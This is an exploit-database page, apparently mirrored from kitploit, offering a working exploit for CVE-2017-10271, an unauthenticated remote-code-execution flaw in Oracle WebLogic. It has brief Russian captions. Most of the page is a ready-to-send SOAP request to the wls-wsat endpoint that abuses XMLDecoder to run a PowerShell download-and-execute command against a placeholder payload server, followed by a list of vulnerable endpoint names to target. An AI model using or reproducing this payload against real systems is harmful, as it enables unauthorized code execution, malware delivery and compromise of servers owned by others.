Sploitus

Exploit for CVE-2017-10271

kitploit · 2026-08-25

Exploit Code

MARKDOWN56 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-C0MMAND3ROPSEC-CVE-2017-10271
CVE-2017-10271 идентификация и эксплуатация. Неавторизованный RCE в WebLogic.

https://nvd.nist.gov/vuln/detail/CVE-2017-10271

https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html

root@kitploit:~
    
    
    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: SOMEHOSTHERE
    Content-Length: 1226
    content-type: text/xml
    Accept-Encoding: gzip, deflate, compress
    Accept: */*
    User-Agent: python-requests/2.2.1 CPython/2.7.6 Linux/3.19.0-25-generic
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    	<soapenv:Header>
    		<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
    			<java version="1.8.0_151" class="java.beans.XMLDecoder"> 
    			<void class="java.lang.ProcessBuilder"> 
    				<array class="java.lang.String" length="3">
    				<void index = "0">
    					<string>cmd</string>
    				</void>
    				<void index = "1"> 
    					<string>/c</string> 
    				</void>
    				<void index = "2">
    					<string>powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString(&apos;http://SOMESERVERHERE/GOTPAYLOAD.ps1&apos;)</string>
    				</void>
    			</array>
    			<void method="start"/>
    			</void>
    			</java>
    			</work:WorkContext> 
    	</soapenv:Header> 
    <soapenv:Body/>
    </soapenv:Envelope>
    

список конечных точек wls-wsat

root@kitploit:~
    
    
    CoordinatorPortType
    RegistrationPortTypeRPC
    ParticipantPortType
    RegistrationRequesterPortType
    CoordinatorPortType11
    RegistrationPortTypeRPC11
    ParticipantPortType11
    RegistrationRequesterPortType11